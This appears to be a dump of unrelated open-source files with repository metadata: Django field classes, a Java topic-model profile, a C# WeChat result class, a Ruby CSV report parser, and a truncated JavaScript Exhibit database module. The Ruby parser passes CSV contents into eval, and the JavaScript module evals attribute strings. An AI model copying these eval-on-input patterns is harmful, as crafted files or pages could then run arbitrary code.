None: return connection.Database.Binary(value) return value def value_to_string(self, obj): """Binary data is serialized as base64""" return b64encode(force_bytes(self._get_val_from_obj(obj))).decode('ascii') def to_python(self, value): # If it's a string, it should be base64-encoded data if isinstance(value, six.text_type): return six.memoryview(b64decode(force_bytes(value))) return value class UUIDField(Field): default_error_messages = { 'invalid': _("'%(value)s' is not a valid UUID."), } description = 'Universally unique identifier' empty_strings_allowed = False def __init__(self, **kwargs): kwargs['max_length'] = 32 super(UUIDField, self).__init__(**kwargs) def get_internal_type(self): return "UUIDField" def get_db_prep_value(self, value, connection, prepared=False): if isinstance(value, uuid.UUID): if connection.features.has_native_uuid_field: return value return value.hex if isinstance(value, six.string_types): return value.replace('-', '') return value def to_python(self, value): if value and not isinstance(value, uuid.UUID): try: return uuid.UUID(value) except ValueError: raise exceptions.ValidationError( self.error_messages['invalid'], code='invalid', params={'value': value}, ) return value def formfield(self, **kwargs): defaults = { 'form_class': forms.UUIDField, } defaults.update(kwargs) return super(UUIDField, self).formfield(**defaults)
runekaagaard/django-contrib-locking
django/db/models/fields/__init__.py
Python
bsd-3-clause
88,217
package model; import java.util.ArrayList; /* * each activity is indexed by the index of user i and the index of j, D_ij */ public class UserProfile { private int[] spatialItems; private String[] locations; private ArrayList<Integer>[] contents; // private ArrayList<ArrayList<Integer>> contents; private int[] ss;// s indicates the first index of 1 // private int[] times; private int[] topics; private int asize;// indicate the actual size private double[] alphad; private double[] alphan;// with the u,t,s,l,z private double[][] alphans;// with the u,t,s,l,but with all other topics // private double[][] betad; // private double[][] public UserProfile(int size) { this.spatialItems = new int[size]; this.locations = new String[size]; this.contents = new ArrayList[size]; for (int i = 0; i < size; i++) { contents[i] = new ArrayList<Integer>(); } this.ss = new int[size]; // this.times = new int[size]; this.topics = new int[size]; this.asize = 0; this.alphad = new double[size]; this.alphan = new double[size]; this.alphans = new double[size][Paras.K]; } public void addOneRecord(int spatialItem, String location, int s, int time, ArrayList<Integer> content) { this.spatialItems[this.asize] = spatialItem; this.locations[this.asize] = location; this.contents[this.asize] = content; this.ss[this.asize] = s; // this.times[this.asize] = time; this.asize++; } public int getSize() { return this.asize; } public void setZ(int i, int topic) { this.topics[i] = topic; } public int getZ(int i) { return this.topics[i]; } public String getL(int i) { return this.locations[i]; } // public ArrayList<Integer> getW(int i){ // return this.contents.get(i); // } public int getV(int i) { return this.spatialItems[i]; } public int getS(int i) { return this.ss[i]; } // public int getT(int i) { // return this.times[i]; // } public double getAlphad(int i) { return this.alphad[i]; } public void setAlphad(int i, double alphad) { this.alphad[i] = alphad; } public double getAlphan(int i) { return this.alphan[i]; } public void setAlphan(int i, double logAlpha) { this.alphan[i] = logAlpha; } public double[] getAlphans(int i) { return this.alphans[i]; } public void setAlphans(int i, double[] alphans) { this.alphans[i] = alphans; } public void setItem(int i, int item) { this.spatialItems[i] = item; } // public void setContents(int i, HashSet<Integer> contents){ // this.contents[i]=contents; // } public ArrayList<Integer> getContents(int i) { return this.contents[i]; } }
weiqingwang/Geo-SAGE
src/model/UserProfile.java
Java
bsd-3-clause
2,717
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Senparc.Weixin.MP.Entities; namespace Senparc.Weixin.MP.AdvancedAPIs { /// <summary> /// 二维码创建返回结果 /// </summary> public class CreateQrCodeResult : WxJsonResult { /// <summary> /// 获取的二维码ticket,凭借此ticket可以在有效时间内换取二维码。 /// </summary> public string ticket { get; set; } /// <summary> /// 二维码的有效时间,以秒为单位。最大不超过1800。 /// </summary> public int expire_seconds { get; set; } } }
15172002285/tianxiangyu
WeiXinApiSDK/WeiXinApiSDK/AdvancedAPIs/QrCode/CreateQrCodeResult.cs
C#
bsd-3-clause
663
# generate a html report based on the Mantis csv report require 'csv' class CvsRequest #2016-07, Adding qr field attr_accessor :workstream, :status, :assigned_to, :resolution, :updated, :reporter, :id, :view_status, :milestone, :priority, :summary, :date_submitted, :product_version, :severity, :platform, :work_package, :complexity, :contre_visite, :start_date, :sdp, :pm, :milestone_date, :project_name, :sdpiteration, :end_date, :milestone_date, :actual_m_date, :po, :status_to_be_validated, :status_new, :status_feedback, :status_acknowledged, :status_assigned, :status_contre_visite, :status_performed, :status_cancelled, :status_closed, :total_csv_severity, :total_csv_category, :contre_visite_milestone, :request_type, :is_stream, :specific, :qr def initialize end def method_missing(m, *args, &block) #raise "CvsRequest does not have a '#{m}' attribute/method" end def to_hash h = Hash.new self.instance_variables.each { |var| h[var[1..-1].to_sym] = self.instance_variable_get(var) } h end # EISQ Override def is_physical=(isPhysicalParameter) #puts "request_type = '#{isPhysicalParameter}'" @request_type = isPhysicalParameter end end class CvsReport attr_reader :requests def initialize(path) @path = path @requests = [] @columns = Hash.new end def parse reader = CSV.open(@path, 'r') begin get_columns(reader.shift) if @columns.count > 1 while not (row = reader.shift).empty? parse_row(row) end else raise "Incorrect data format" end rescue Exception => e if e.to_s == "CSV::IllegalFormatError" raise "Unexpected file format" else raise e end end end def method_missing(m, *args, &block) if m.to_s[0..2] == "by_" key = m.to_s[3..-1] # example: "project" # get all possible values, example "EA", "EV" values = @requests.collect { |r| eval("r.#{key}")}.map{|i| i.downcase}.uniq.sort for value in values yield value, @requests.select { |r| eval("r.#{key}.downcase == '#{value}'")}.sort_by { |r| [r.start_date, r.workstream]} end return end raise "Report does not have a '#{m}' attribute/method" end private def get_columns(row) row.each_with_index { |r,i| @columns[sanitize_attr(r)] = i #puts sanitize_attr(r) } end def parse_row(row) r = CvsRequest.new @columns.each { |attr_name, index| #puts "#{attr_name} ----> '#{row[index]}'" eval("r.#{attr_name} = '#{row[index]}'") # r.id = row[1] } @requests << r end def sanitize_attr(name) raise "no name for attribute (importing requests). Check if you really importing a request export file." if !name name = name.downcase name.gsub!(" #","") name.gsub!("/","") name.gsub!(" ","_") name.gsub!(" ","_") name.gsub!("-","_") name.gsub!(".","") name end end =begin r = Report.new('/home/mick/DL/mfaivremacon.csv') r.parse r.generate_html_file('/home/mick/DL/test.html') =end
eisq/scpm
lib/cvs_report.rb
Ruby
bsd-3-clause
3,126
/*====================================================================== * Exhibit.Database * http://simile.mit.edu/wiki/Exhibit/API/Database *====================================================================== */ Exhibit.Database = new Object(); Exhibit.Database.create = function() { Exhibit.Database.handleAuthentication(); return new Exhibit.Database._Impl(); }; Exhibit.Database.handleAuthentication = function() { if (window.Exhibit.params.authenticated) { var links = document.getElementsByTagName('head')[0].childNodes; for (var i = 0; i < links.length; i++) { var link = links[i]; if (link.rel == 'exhibit/output' && link.getAttribute('ex:authenticated')) { } } } }; Exhibit.Database.makeISO8601DateString = function(date) { date = date || new Date(); var pad = function(i) { return i > 9 ? i.toString() : '0'+i }; var s = date.getFullYear() + '-' + pad(date.getMonth() +1) + '-' + pad(date.getDate()); return s; } Exhibit.Database.TimestampPropertyName = "addedOn"; /*================================================== * Exhibit.Database._Impl *================================================== */ Exhibit.Database._Impl = function() { this._types = {}; this._properties = {}; this._propertyArray = {}; this._submissionRegistry = {}; // stores unmodified copies of submissions this._originalValues = {}; this._newItems = {}; this._listeners = new SimileAjax.ListenerQueue(); this._spo = {}; this._ops = {}; this._items = new Exhibit.Set(); /* * Predefined types and properties */ var l10n = Exhibit.Database.l10n; var itemType = new Exhibit.Database._Type("Item"); itemType._custom = Exhibit.Database.l10n.itemType; this._types["Item"] = itemType; var labelProperty = new Exhibit.Database._Property("label", this); labelProperty._uri = "http://www.w3.org/2000/01/rdf-schema#label"; labelProperty._valueType = "text"; labelProperty._label = l10n.labelProperty.label; labelProperty._pluralLabel = l10n.labelProperty.pluralLabel; labelProperty._reverseLabel = l10n.labelProperty.reverseLabel; labelProperty._reversePluralLabel = l10n.labelProperty.reversePluralLabel; labelProperty._groupingLabel = l10n.labelProperty.groupingLabel; labelProperty._reverseGroupingLabel = l10n.labelProperty.reverseGroupingLabel; this._properties["label"] = labelProperty; var typeProperty = new Exhibit.Database._Property("type"); typeProperty._uri = "http://www.w3.org/1999/02/22-rdf-syntax-ns#type"; typeProperty._valueType = "text"; typeProperty._label = "type"; typeProperty._pluralLabel = l10n.typeProperty.label; typeProperty._reverseLabel = l10n.typeProperty.reverseLabel; typeProperty._reversePluralLabel = l10n.typeProperty.reversePluralLabel; typeProperty._groupingLabel = l10n.typeProperty.groupingLabel; typeProperty._reverseGroupingLabel = l10n.typeProperty.reverseGroupingLabel; this._properties["type"] = typeProperty; var uriProperty = new Exhibit.Database._Property("uri"); uriProperty._uri = "http://simile.mit.edu/2006/11/exhibit#uri"; uriProperty._valueType = "url"; uriProperty._label = "URI"; uriProperty._pluralLabel = "URIs"; uriProperty._reverseLabel = "URI of"; uriProperty._reversePluralLabel = "URIs of"; uriProperty._groupingLabel = "URIs"; uriProperty._reverseGroupingLabel = "things named by these URIs"; this._properties["uri"] = uriProperty; var changeProperty = new Exhibit.Database._Property("change", this); changeProperty._uri = "http://simile.mit.edu/2006/11/exhibit#change"; changeProperty._valueType = "text"; changeProperty._label = "change type"; changeProperty._pluralLabel = "change types"; changeProperty._reverseLabel = "change type of"; changeProperty._reversePluralLabel = "change types of"; changeProperty._groupingLabel = "change types"; changeProperty._reverseGroupingLabel = "changes of this type"; this._properties["change"] = changeProperty; var changedItemProperty = new Exhibit.Database._Property("changedItem", this); changedItemProperty._uri = "http://simile.mit.edu/2006/11/exhibit#changedItem"; changedItemProperty._valueType = "text"; changedItemProperty._label = "changed item"; changedItemProperty._pluralLabel = "changed item"; changedItemProperty._groupingLabel = "changed items"; this._properties["changedItem"] = changedItemProperty; var modifiedProperty = new Exhibit.Database._Property(Exhibit.Database.ModifiedPropertyName, this); modifiedProperty._uri = "http://simile.mit.edu/2006/11/exhibit#modified"; modifiedProperty._valueType = "text"; modifiedProperty._label = "modified"; modifiedProperty._pluralLabel = "modified"; modifiedProperty._groupingLabel = "was modified"; this._properties["modified"] = modifiedProperty; }; Exhibit.Database._Impl.prototype.createDatabase = function() { return Exhibit.Database.create(); }; Exhibit.Database._Impl.prototype.addListener = function(listener) { this._listeners.add(listener); }; Exhibit.Database._Impl.prototype.removeListener = function(listener) { this._listeners.remove(listener); }; Exhibit.Database._Impl.prototype.loadDataLinks = function(fDone) { var links = SimileAjax.jQuery('link[rel="exhibit/data"]').add('a[rel="exhibit/data"]').get(); var self=this; var fDone2 = function () { self.loadDataElements(self, fDone); if (fDone) fDone(); } this._loadLinks(links, this, fDone2); }; Exhibit.Database._Impl.prototype.loadLinks = function(links, fDone) { this._loadLinks(links, this, fDone); }; Exhibit.Database._Impl.prototype.loadDataElements = function(database) { //to load inline exhibit data //unlike loadlinks, this is synchronous, so no fDone continuation. var findFunction = function (s) { //redundant with loadlinks, but I don't want to mess with that yet if (typeof (s) == "string") { if (s in Exhibit) { s = Exhibit[s]; } else { try { s = eval(s); } catch (e) { s = null; // silent } } } return s; } var url=window.location.href; var loadElement = function(element) { var e=SimileAjax.jQuery(element); var content=e.html(); if (content) { if (!e.attr('href')) {e.attr('href',url)} //some parsers check this var type = Exhibit.getAttribute(element,"type"); if (type == null || type.length == 0) { type = "application/json"; } var importer = Exhibit.importers[type]; var parser=findFunction(Exhibit.getAttribute(element,'parser')) || (importer && importer.parse); if (parser) { var o=null; try { o=parser(content,element,url); } catch(e) { SimileAjax.Debug.exception(e, "Error parsing Exhibit data from " + url); } if (o != null) { try { database.loadData(o, Exhibit.Persistence.getBaseURL(url)); e.hide(); //if imported, don't want original } catch (e) { SimileAjax.Debug.exception(e, "Error loading Exhibit data from " + url); } } } else { SimileAjax.Debug.log("No parser for data of type " + type); } } } var safeLoadElement = function () { //so one bad data element won't prevent others loading. try { loadElement(this); } catch (e) { } } var elements; try { elements=SimileAjax.jQuery('[ex\\:role="data"]'); } catch (e) { //jquery in IE7 can't handle a namespaced attribute //so find data elements by brute force elements=$('*').filter(function(){ var attrs = this.attributes; for (i=0; i<attrs.length; i++) { if ((attrs[i].nodeName=='ex:role') && (attrs[i].nodeValue=='data')) return true; } return false; }); } elements.each(safeLoadElement); } Exhibit.Database._Impl.prototype.loadSubmissionLinks = function(fDone) { var db = this; var dbProxy = { loadData: function(o, baseURI) { if ("types" in o) { db.loadTypes(o.types, baseURI); } if ("properties" in o) { db.loadProperties(o.properties, baseURI); } if ("items" in o) { db._listeners.fire("onBeforeLoadingItems", []); db.loadItems(o.items, baseURI); db._listeners.fire("onAfterLoadingItems", []); } } }; var links = SimileAjax.jQuery('head > link[rel=exhibit/submissions]').get() this._loadLinks(links, dbProxy, fDone); }; Exhibit.Database._Impl.defaultGetter = function(link, database, parser, cont) { var url = typeof link == "string" ? link : link.href; url = Exhibit.Persistence.resolveURL(url); var fError = function() { Exhibit.UI.hideBusyIndicator(); Exhibit.UI.showHelp(Exhibit.l10n.failedToLoadDataFileMessage(url)); if (cont) cont(); }; var fDone = function(content) { Exhibit.UI.hideBusyIndicator(); if (url.indexOf('#') >= 0) { //the fragment is assumed to _contain_ the data //so we return what is _inside_ the fragment tag //which might not be html //this simplifies parsing for non-html formats var fragment=url.match(/(#.*)/)[1]; content=SimileAjax.jQuery("<div>" + content + "</div>").find(fragment).html(); } var o; try { o=parser(content, link, url); } catch(e) { SimileAjax.Debug.log(e, "Error parsing Exhibit data from " + url); //absorb the error but continue } if (o != null) { try { database.loadData(o, Exhibit.Persistence.getBaseURL(url)); } catch (e) { SimileAjax.Debug.log(e, "Error loading Exhibit data from " + url); //absorb the rror but continue } } if (cont) cont(); }; Exhibit.UI.showBusyIndicator(); // SimileAjax.XmlHttp.get(url, fError, fDone); SimileAjax.jQuery.ajax({url: url, dataType: "text", success: fDone, error: fError}); }; Exhibit.Database._Impl.prototype.findLoader =function(elt) { var findFunction = function (s) { if (typeof (s) == "string") { if (s in Exhibit) { s = Exhibit[s]; } else { try { s = eval(s); } catch (e) { s = null; // silent } } } return s; } var type = Exhibit.getAttribute(link,'type'); if (type == null || type.length == 0) { type = "application/json"; } var importer = Exhibit.importers[type]; var parser=findFunction(Exhibit.getAttribute(link,'parser')) || (importer && importer.parse); var getter=findFunction(Exhibit.getAttribute(link,'getter')) || (importer && importer.getter) || Exhibit.Database._Impl.defaultGetter; if (parser) { return function(link, database, fNext) { (getter)(link, database, parser, fNext); } } else if (importer) { return importer.load; } else { return null } } Exhibit.Database._Impl.prototype._loadLinks = function(links, database, fDone) { var findFunction = function (s) { if (typeof (s) == "string") { if (s in Exhibit) { s = Exhibit[s]; } else { try { s = eval(s); } catch (e) { s = null; // silent } } } return s; } links = [].concat(links); var fNext = function() { while (links.length > 0) { var link = links.shift(); var type = link.type; if (type == null || type.length == 0) { type = "application/json"; } var importer = Exhibit.importers[type]; var parser=findFunction(Exhibit.getAttribute(link,'parser')) || (importer && importer.parse); var getter=findFunction(Exhibit.getAttribute(link,'getter')) || (importer && importer.getter) || Exhibit.Database._Impl.defaultGetter; if (parser) { (getter)(link, database, parser, fNext); return; } else if (importer) { importer.load(link, database, fNext); return; } else { SimileAjax.Debug.log("No importer for data of type " + type); } } if (fDone != null) { fDone(); } }; fNext(); }; Exhibit.Database._Impl.prototype.loadData = function(o, baseURI) { if (typeof baseURI == "undefined") { baseURI = location.href; } if ("types" in o) { this.loadTypes(o.types, baseURI); } if ("properties" in o) { this.loadProperties(o.properties, baseURI); } if ("items" in o) { this.loadItems(o.items, baseURI); } }; Exhibit.Database._Impl.prototype.loadTypes = function(typeEntries, baseURI) { this._listeners.fire("onBeforeLoadingTypes", []); try { var lastChar = baseURI.substr(baseURI.length - 1) if (lastChar == "#") { baseURI = baseURI.substr(0, baseURI.length - 1) + "/"; } else if (lastChar != "/" && lastChar != ":") { baseURI += "/"; } for (var typeID in typeEntries) { if (typeof typeID != "string") { continue; } var typeEntry = typeEntries[typeID]; if (typeof typeEntry != "object") { continue; } var type; if (typeID in this._types) { type = this._types[typeID]; } else { type = new Exhibit.Database._Type(typeID); this._types[typeID] = type; }; for (var p in typeEntry) { type._custom[p] = typeEntry[p]; } if (!("uri" in type._custom)) { type._custom["uri"] = baseURI + "type#" + encodeURIComponent(typeID); } if (!("label" in type._custom)) { type._custom["label"] = typeID; } } this._listeners.fire("onAfterLoadingTypes", []); } catch(e) { SimileAjax.Debug.exception(e, "Database.loadTypes failed"); } }; Exhibit.Database._Impl.prototype.loadProperties = function(propertyEntries, baseURI) { this._listeners.fire("onBeforeLoadingProperties", []); try { var lastChar = baseURI.substr(baseURI.length - 1) if (lastChar == "#") { baseURI = baseURI.substr(0, baseURI.length - 1) + "/"; } else if (lastChar != "/" && lastChar != ":") { baseURI += "/"; } for (var propertyID in propertyEntries) { if (typeof propertyID != "string") { continue; } var propertyEntry = propertyEntries[propertyID]; if (typeof propertyEntry != "object") { continue; } var property; if (propertyID in this._properties) { property = this._properties[propertyID]; } else { property = new Exhibit.Database._Property(propertyID, this); this._properties[propertyID] = property; }; property._uri = ("uri" in propertyEntry) ? propertyEntry.uri : (baseURI + "property#" + encodeURIComponent(propertyID)); property._valueType = ("valueType" in propertyEntry) ? propertyEntry.valueType : "text"; // text, html, number, date, boolean, item, url property._label = ("label" in propertyEntry) ? propertyEntry.label : propertyID; property._pluralLabel = ("pluralLabel" in propertyEntry) ? propertyEntry.pluralLabel : property._label; property._reverseLabel = ("reverseLabel" in propertyEntry) ? propertyEntry.reverseLabel : ("!" + property._label); property._reversePluralLabel = ("reversePluralLabel" in propertyEntry) ? propertyEntry.reversePluralLabel : ("!" + property._pluralLabel); property._groupingLabel = ("groupingLabel" in propertyEntry) ? propertyEntry.groupingLabel : property._label; property._reverseGroupingLabel = ("reverseGroupingLabel" in propertyEntry) ? propertyEntry.reverseGroupingLabel : property._reverseLabel; if ("origin" in propertyEntry) { property._origin = propertyEntry.origin; } } this._propertyArray = null; this._listeners.fire("onAfterLoadingProperties", []); } catch(e) { SimileAjax.Debug.exception(e, "Database.loadProperties failed"); } }; Exhibit.Database._Impl.prototype.loadItems = function(itemEntries, baseURI) { this._listeners.fire("onBeforeLoadingItems", []); try { var lastChar = baseURI.substr(baseURI.length - 1); if (lastChar == "#") { baseURI = baseURI.substr(0, baseURI.length - 1) + "/"; } else if (lastChar != "/" && lastChar != ":") { baseURI += "/"; } var spo = this._spo; var ops = this._ops; var indexPut = Exhibit.Database._indexPut; var indexTriple = function(s, p, o) { indexPut(spo, s, p, o); indexPut(ops, o, p, s); }; for (var i = 0; i < itemEntries.length; i++) { var entry = itemEntries[i]; if (typeof entry == "object") { this._loadItem(entry, indexTriple, baseURI); } } this._propertyArray = null; this._listeners.fire("onAfterLoadingItems", []); } catch(e) { SimileAjax.Debug.exception(e, "Database.loadItems failed"); } }; Exhibit.Database._Impl.prototype.getType = function(typeID) { return this._types[typeID]; }; Exhibit.Database._Impl.prototype.getProperty = function(propertyID) { return propertyID in this._properties ? this._properties[propertyID] : null; }; /** * Get an array of all property names known to this database. */ Exhibit.Database._Impl.prototype.getAllProperties = function() { if (this._propertyArray == null) { this._propertyArray = []; for (var propertyID in this._properties) { this._propertyArray.push(propertyID); } } return [].concat(this._propertyArray); }; Exhibit.Database._Impl.prototype.isSubmission = function(id) { return id in this._submissionRegistry; } Exhibit.Database._Impl.prototype.getAllItems = function() { var ret = new Exhibit.Set(); var self = this; this._items.visit(function(item) { if (!self.isSubmission(item)) { ret.add(item); } }); return ret; }; Exhibit.Database._Impl.prototype.getAllSubmissions = function() { var ret = new Exhibit.Set(); var itemList = this._items.toArray(); for (var i in itemList) { var item = itemList[i]; if (this.isSubmission(item)) { ret.add(item); } } return ret; } Exhibit.Database._Impl.prototype.getAllItemsCount = function() { return this._items.size(); }; Exhibit.Database._Impl.prototype.containsItem = function(itemID) { return this._items.contains(itemID); }; Exhibit.Database._Impl.prototype.getNamespaces = function(idToQualifiedName, prefixToBase) { var bases = {}; for (var propertyID in this._properties) { var property = this._properties[propertyID]; var uri = property.getURI(); var hash = uri.indexOf("#"); if (hash > 0) { var base = uri.substr(0, hash + 1); bases[base] = true; idToQualifiedName[propertyID] = { base: base, localName: uri.substr(hash + 1) }; continue; } var slash = uri.lastIndexOf("/"); if (slash > 0) { var base = uri.substr(0, slash + 1); bases[base] = true; idToQualifiedName[propertyID] = { base: base, localName: uri.substr(slash + 1) }; continue; } } var baseToPrefix = {}; var letters = "abcdefghijklmnopqrstuvwxyz"; var i = 0; for (var base in bases) { var prefix = letters.substr(i++,1); prefixToBase[prefix] = base; baseToPrefix[base] = prefix; } for (var propertyID in idToQualifiedName) { var qname = idToQualifiedName[propertyID]; qname.prefix = baseToPrefix[qname.base]; } }; Exhibit.Database._Impl.prototype._loadItem = function(itemEntry, indexFunction, baseURI) { if (!("label" in itemEntry) && !("id" in itemEntry)) { SimileAjax.Debug.warn("Item entry has no label and no id: " + SimileAjax.JSON.toJSONString( itemEntry )); // return; itemEntry.label="item" + Math.ceil(Math.random()*1000000); } var id; if (!("label" in itemEntry)) { id = itemEntry.id; if (!this._items.contains(id)) { SimileAjax.Debug.warn("Cannot add new item containing no label: " + SimileAjax.JSON.toJSONString( itemEntry )); } } else { var label = itemEntry.label; var id = ("id" in itemEntry) ? itemEntry.id : label; var uri = ("uri" in itemEntry) ? itemEntry.uri : (baseURI + "item#" + encodeURIComponent(id)); var type = ("type" in itemEntry) ? itemEntry.type : "Item"; var isArray = function(obj) { if (!obj || (obj.constructor.toString().indexOf("Array") == -1)) return false; else return true; } if(isArray(label)) label = label[0]; if(isArray(id)) id = id[0]; if(isArray(uri)) uri = uri[0]; if(isArray(type)) type = type[0]; this._items.add(id); indexFunction(id, "uri", uri); indexFunction(id, "label", label); indexFunction(id, "type", type); this._ensureTypeExists(type, baseURI); } for (var p in itemEntry) { if (typeof p != "string") { continue; } if (p != "uri" && p != "label" && p != "id" && p != "type") { this._ensurePropertyExists(p, baseURI)._onNewData(); var v = itemEntry[p]; if (v instanceof Array) { for (var j = 0; j < v.length; j++) { indexFunction(id, p, v[j]); } } else if (v != undefined && v != null) { indexFunction(id, p, v); } } } }; Exhibit.Database._Impl.prototype._ensureTypeExists = function(typeID, baseURI) { if (!(typeID in this._types)) { var type = new Exhibit.Database._Type(typeID); type._custom["uri"] = baseURI + "type#" + encodeURIComponent(typeID); type._custom["label"] = typeID; this._types[typeID] = type; } }; Exhibit.Database._Impl.prototype._ensurePropertyExists = function(propertyID, baseURI) { if (!(propertyID in this._properties)) { var property = new Exhibit.Database._Property(propertyID, this); property._uri = baseURI + "property#" + encodeURIComponent(propertyID); property._valueType = "text"; property._label = propertyID; property._pluralLabel = property._label; property._reverseLabel = "reverse of " + property._label; property._reversePluralLabel = "reverse of " + property._pluralLabel; property._groupingLabel = property._label; property._reverseGroupingLabel = property._reverseLabel; this._properties[propertyID] = property; this._propertyArray = null; return property; } else { return this._properties[propertyID]; } }; Exhibit.Database._indexPut = function(index, x, y, z) { var hash = index[x]; if (!hash) { hash = {}; index[x] = hash; } var array = hash[y]; if (!array) { array = new Array(); hash[y] = array; } else { for (var i = 0; i < array.length; i++) { if (z == array[i]) { return; } } } array.push(z); }; Exhibit.Database._indexPutList = function(index, x, y, list) { var hash = index[x]; if (!hash) { hash = {}; index[x] = hash; } var array = hash[y]; if (!array) { hash[y] = list; } else { hash[y] = hash[y].concat(list); } }; Exhibit.Database._indexRemove = function(index, x, y, z) { function isEmpty(obj) { for (p in obj) { return false; } return true; } var hash = index[x]; if (!hash) { return false; } var array = hash[y]; if (!array) { return false; } for (var i = 0; i < array.length; i++) { if (z == array[i]) { array.splice(i, 1); // prevent accumulation of empty arrays/hashes in indices if (array.length == 0) { delete hash[y]; if (isEmpty(hash)) { delete index[x]; } } return true; } } }; Exhibit.Database._indexRemoveList = function(index, x, y) { var hash = index[x]; if (!hash) { return null; } var array = hash[y]; if (!array) { return null; } delete hash[y]; return array; }; Exhibit.Database._Impl.prototype._indexFillSet = function(index, x, y, set, filter) { var hash = index[x]; if (hash) { var array = hash[y]; if (array) { if (filter) { for (var i = 0; i < array.length; i++) { var z = array[i]; if (filter.contains(z)) { set.add(z); } } } else { for (var i = 0; i < array.length; i++) { set.add(array[i]); } } } } }; Exhibit.Database._Impl.prototype._indexCountDistinct = function(index, x, y, filter) { var count = 0; var hash = index[x]; if (hash) { var array = hash[y]; if (array) { if (filter) { for (var i = 0; i < array.length; i++) { if (filter.contains(array[i])) { count++; } } } else { count = array.length; } } } return count; }; Exhibit.Database._Impl.prototype._get = function(index, x, y, set, filter) { if (!set) { set = new Exhibit.Set(); } this._indexFillSet(index, x, y, set, filter); return set; }; Exhibit.Database._Impl.prototype._getUnion = function(index, xSet, y, set, filter) { if (!set) { set = new Exhibit.Set(); } var database = this; xSet.visit(function(x) { database._indexFillSet(index, x, y, set, filter); }); return set; }; Exhibit.Database._Impl.prototype._countDistinctUnion = function(index, xSet, y, filter) { var count = 0; var database = this; xSet.visit(function(x) { count += database._indexCountDistinct(index, x, y, filter); }); return count; }; Exhibit.Database._Impl.prototype._countDistinct = function(index, x, y, filter) { return this._indexCountDistinct(index, x, y, filter); }; Exhibit.Database._Impl.prototype._getProperties = function(index, x) { var hash = index[x]; var properties = [] if (hash) { for (var p in hash) { properties.push(p); } } return properties; }; Exhibit.Database._Impl.prototype.getObjects = function(s, p, set, filter) { return this._get(this._spo, s, p, set, filter); }; Exhibit.Database._Impl.prototype.countDistinctObjects = function(s, p, filter) { return this._countDistinct(this._spo, s, p, filter); }; Exhibit.Database._Impl.prototype.getObjectsUnion = function(subjects, p, set, filter) { return this._getUnion(this._spo, subjects, p, set, filter); }; Exhibit.Database._Impl.prototype.countDistinctObjectsUnion = function(subjects, p, filter) { return this._countDistinctUnion(this._spo, subjects, p, filter); }; Exhibit.Database._Impl.prototype.getSubjects = function(o, p, set, filter) { return this._get(this._ops, o, p, set, filter); }; Exhibit.Database._Impl.prototype.countDistinctSubjects = function(o, p, filter) { return this._countDistinct(this._ops, o, p, filter); }; Exhibit.Database._Impl.prototype.getSubjectsUnion = function(objects, p, set, filter) { return this._getUnion(this._ops, objects, p, set, filter); }; Exhibit.Database._Impl.prototype.countDistinctSubjectsUnion = function(objects, p, filter) { return this._countDistinctUnion(this._ops, objects, p, filter); }; Exhibit.Database._Impl.prototype.getObject = function(s, p) { var hash = this._spo[s]; if (hash) { var array = hash[p]; if (array) { return array[0]; } } return null; }; Exhibit.Database._Impl.prototype.getSubject = function(o, p) { var hash = this._ops[o]; if (hash) { var array = hash[p]; if (array) { return array[0]; } } return null; }; Exhibit.Database._Impl.prototype.getForwardProperties = function(s) { return this._getProperties(this._spo, s); }; Exhibit.Database._Impl.prototype.getBackwardProperties = function(o) { return this._getProperties(this._ops, o); }; Exhibit.Database._Impl.prototype.getSubjectsInRange = function(p, min, max, inclusive, set, filter) { var property = this.getProperty(p); if (property != null) { var rangeIndex = property.getRangeIndex(); if (rangeIndex != null) { return rangeIndex.getSubjectsInRange(min, max, inclusive, set, filter); } } return (!set) ? new Exhibit.Set() : set; }; Exhibit.Database._Impl.prototype.getTypeIDs = function(set) { return this.getObjectsUnion(set, "type", null, null); }; Exhibit.Database._Impl.prototype.addStatement = function(s, p, o) { var indexPut = Exhibit.Database._indexPut; indexPut(this._spo, s, p, o); indexPut(this._ops, o, p, s); }; Exhibit.Database._Impl.prototype.removeStatement = function(s, p, o) { var indexRemove = Exhibit.Database._indexRemove; var removedObject = indexRemove(this._spo, s, p, o); var removedSubject = indexRemove(this._ops, o, p, s); return removedObject || removedSubject; }; Exhibit.Database._Impl.prototype.removeObjects = function(s, p) { var indexRemove = Exhibit.Database._indexRemove; var indexRemoveList = Exhibit.Database._indexRemoveList; var objects = indexRemoveList(this._spo, s, p); if (objects == null) { return false; } else { for (var i = 0; i < objects.length; i++) { indexRemove(this._ops, objects[i], p, s); } return true; } }; Exhibit.Database._Impl.prototype.removeSubjects = function(o, p) { var indexRemove = Exhibit.Database._indexRemove; var indexRemoveList = Exhibit.Database._indexRemoveList; var subjects = indexRemoveList(this._ops, o, p); if (subjects == null) { return false; } else { for (var i = 0; i < subjects.length; i++) { indexRemove(this._spo, subjects[i], p, o); } return true; } }; Exhibit.Database._Impl.prototype.removeAllStatements = function() { this._listeners.fire("onBeforeRemovingAllStatements", []); try { this._spo = {}; this._ops = {}; this._items = new Exhibit.Set(); for (var propertyID in this._properties) { this._properties[propertyID]._onNewData(); } this._propertyArray = null; this._listeners.fire("onAfterRemovingAllStatements", []); } catch(e) { SimileAjax.Debug.exception(e, "Database.removeAllStatements failed"); } }; /*================================================== * Exhibit.Database._Type *================================================== */ Exhibit.Database._Type = function(id) { this._id = id; this._custom = {}; }; Exhibit.Database._Type.prototype = { getID: function() { return this._id; }, getURI: function() { return this._custom["uri"]; }, getLabel: function() { return this._custom["label"]; }, getOrigin: function() { return this._custom["origin"]; }, getProperty: function(p) { return this._custom[p]; } }; /*================================================== * Exhibit.Database._Property *================================================== */ Exhibit.Database._Property = function(id, database) { this._id = id; this._database = database; this._rangeIndex = null; }; Exhibit.Database._Property.prototype = { getID: function() { return this._id; }, getURI: function() { return this._uri; }, getValueType: function() { return this._valueType; }, getLabel: function() { return this._label; }, getPluralLabel: function() { return this._pluralLabel; }, getReverseLabel: function() { return this._reverseLabel; }, getReversePluralLabel: function() { return this._reversePluralLabel; }, getGroupingLabel: function() { return this._groupingLabel; }, getGroupingPluralLabel: function() { return this._groupingPluralLabel; }, getOrigin: function() { return this._origin; } }; Exhibit.Database._Property.prototype._onNewData = function() { this._rangeIndex = null; }; Exhibit.Database._Property.prototype.getRangeIndex = function() { if (this._rangeIndex == null) { this._buildRangeIndex(); } return this._rangeIndex; }; Exhibit.Database._Property.prototype._buildRangeIndex = function() { var getter; var database = this._database; var p = this._id; switch (this.getValueType()) { case "date": getter = function(item, f) { database.getObjects(item, p, null, null).visit(function(value) { if (value != null && !(value instanceof Date)) { value = 